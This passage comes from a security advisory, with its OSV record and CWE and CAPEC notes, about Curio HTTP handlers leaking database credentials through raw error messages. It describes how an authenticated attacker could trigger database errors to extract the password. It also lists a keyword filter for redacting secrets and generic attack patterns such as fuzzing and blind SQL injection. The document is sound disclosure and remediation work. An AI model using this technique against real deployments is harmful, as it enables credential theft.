market/mk12/mk12_utils.go) — TheGetDealStatushandler includederr.Error()in error responses:"failed to query the db for deal status: %s". Present since v1.24.3. -
Market mk20 auth middleware (
market/mk20/http/http.go) — Authentication error responses includederr.Error(), potentially leaking database error details during auth flows. Present since v1.27.2.
Root Cause
The database connection string was constructed as:
postgresql://username:password@host:port/database?...
The plaintext password was embedded directly in the URL. When pgx returned connection or query errors, the error text could contain fragments of this connection string. HTTP handlers forwarded these errors verbatim to clients.
Impact
An attacker with network access to Curio's PDP or Market HTTP endpoints and valid authentication credentials could intentionally trigger database errors (e.g., by sending malformed requests that cause SQL failures) and extract the YugabyteDB connection credentials from the error response. With these credentials, the attacker could directly access the database, which serves as Curio's control plane.
Per Curio's security boundary documentation, these endpoints are expected to be on a trusted network. However, defense-in-depth requires that credentials are never exposed through HTTP responses regardless of network trust assumptions.
Remediation (PR #919)
-
Connection string password masking: The password in the connection string is replaced with
********. The real password is set separately viacfg.ConnConfig.Password, so it never appears in error messages or logs. -
HTTP handler sanitization: All affected handlers now log the detailed error server-side and return a generic error message to the HTTP client.
-
Error filter (
errFilter): A new function in the database layer detects and redacts any error messages containing keywords like "password", "host", "port", or "://" before they can propagate. -
Prometheus metrics cleanup: Database connection metrics that could expose connection details were removed from the metrics endpoint.
-
Security boundary documentation: A new section documents what Curio expects operators to secure.
Resources
- Fix: https://github.com/filecoin-project/curio/pull/919
- Patched release: v1.27.3-rc2
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.27.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/filecoin-project/curio"
},
"ranges": [
{
"events": [
{
"introduced": "1.24.3"
},
{
"fixed": "1.27.3-rc2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-209",
"CWE-532"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-26T22:48:00Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nMultiple HTTP handlers in Curio passed raw database error messages to HTTP clients via `http.Error()`. When the PostgreSQL/YugabyteDB driver (pgx) returned errors, these could contain the database connection string \u2014 including hostname, port, username, and password. Additionally, the internal connection string was constructed with the plaintext password embedded in the URL, which was also included in startup error messages and could surface in logs.\n\n## Details\n\nThree components were affected:\n\n1. **PDP handlers** (`pdp/handlers.go`) \u2014 18+ HTTP error paths passed `err.Error()` directly to HTTP responses. While these endpoints require ECDSA JWT authentication, an authenticated client (e.g., a FilPay service) that triggered a database error would receive the raw pgx error in the HTTP response body. Present since PDP was introduced in v1.25.1.\n\n2. **Market mk12 deal status** (`market/mk12/mk12_utils.go`) \u2014 The `GetDealStatus` handler included `err.Error()` in error responses: `\"failed to query the db for deal status: %s\"`. Present since v1.24.3.\n\n3. **Market mk20 auth middleware** (`market/mk20/http/http.go`) \u2014 Authentication error responses included `err.Error()`, potentially leaking database error details during auth flows. Present since v1.27.2.\n\n### Root Cause\n\nThe database connection string was constructed as:\n```\npostgresql://username:password@host:port/database?...\n```\nThe plaintext password was embedded directly in the URL. When pgx returned connection or query errors, the error text could contain fragments of this connection string. HTTP handlers forwarded these errors verbatim to clients.\n\n## Impact\n\nAn attacker with network access to Curio\u0027s PDP or Market HTTP endpoints and valid authentication credentials could intentionally trigger database errors (e.g., by sending malformed requests that cause SQL failures) and extract the YugabyteDB connection credentials from the error response. With these credentials, the attacker could directly access the database, which serves as Curio\u0027s control plane.\n\nPer Curio\u0027s [security boundary documentation](https://github.com/filecoin-project/curio/blob/main/documentation/en/design/README.md#security-boundary), these endpoints are expected to be on a trusted network. However, defense-in-depth requires that credentials are never exposed through HTTP responses regardless of network trust assumptions.\n\n## Remediation (PR #919)\n\n1. **Connection string password masking:** The password in the connection string is replaced with `********`. The real password is set separately via `cfg.ConnConfig.Password`, so it never appears in error messages or logs.\n\n2. **HTTP handler sanitization:** All affected handlers now log the detailed error server-side and return a generic error message to the HTTP client.\n\n3. **Error filter (`errFilter`):** A new function in the database layer detects and redacts any error messages containing keywords like \"password\", \"host\", \"port\", or \"://\" before they can propagate.\n\n4. **Prometheus metrics cleanup:** Database connection metrics that could expose connection details were removed from the metrics endpoint.\n\n5. **Security boundary documentation:** A new section documents what Curio expects operators to secure.\n\n## Resources\n\n- Fix: https://github.com/filecoin-project/curio/pull/919\n- Patched release: v1.27.3-rc2",
"id": "GHSA-gj6x-q8rh-wj6x",
"modified": "2026-02-26T22:48:00Z",
"published": "2026-02-26T22:48:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filecoin-project/curio/security/advisories/GHSA-gj6x-q8rh-wj6x"
},
{
"type": "WEB",
"url": "https://github.com/filecoin-project/curio/pull/919"
},
{
"type": "WEB",
"url": "https://github.com/filecoin-project/curio/commit/551da78e0123892600d8e6dfe9de7a579055d80b"
},
{
"type": "PACKAGE",
"url": "https://github.com/filecoin-project/curio"
},
{
"type": "WEB",
"url": "https://github.com/filecoin-project/curio/blob/main/documentation/en/design/README.md#security-boundary"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Curio exposes database credentials to users with network access through verbose HTTP error responses"
}
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
Mitigation
Handle exceptions internally and do not display errors containing potentially sensitive information to a user.
Mitigation MIT-33
Strategy: Attack Surface Reduction
Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.
Mitigation MIT-40
Strategy: Compilation or Build Hardening
Debugging information should not make its way into a production release.
Mitigation MIT-40
Strategy: Environment Hardening
Debugging information should not make its way into a production release.
Mitigation
Where available, configure the environment to use less verbose error messages. For example, in PHP, disable the display_errors setting during configuration, or at runtime using the error_reporting() function.
Mitigation
Create default error pages or messages that do not leak any information.
CAPEC-215: Fuzzing for application mapping
An attacker sends random, malformed, or otherwise unexpected messages to a target application and observes the application's log or error messages returned. The attacker does not initially know how a target will respond to individual messages but by attempting a large number of message variants they may find a variant that trigger's desired behavior. In this attack, the purpose of the fuzzing is to observe the application's log and error messages, although fuzzing a target can also sometimes cause the target to enter an unstable state, causing a crash.
CAPEC-463: Padding Oracle Crypto Attack
An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.
CAPEC-54: Query System for Information
An adversary, aware of an application's location (and possibly authorized to use the application), probes an application's structure and evaluates its robustness by submitting requests and examining responses. Often, this is accomplished by sending variants of expected queries in the hope that these modified queries might return information beyond what the expected set of queries would provide.
CAPEC-7: Blind SQL Injection
Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.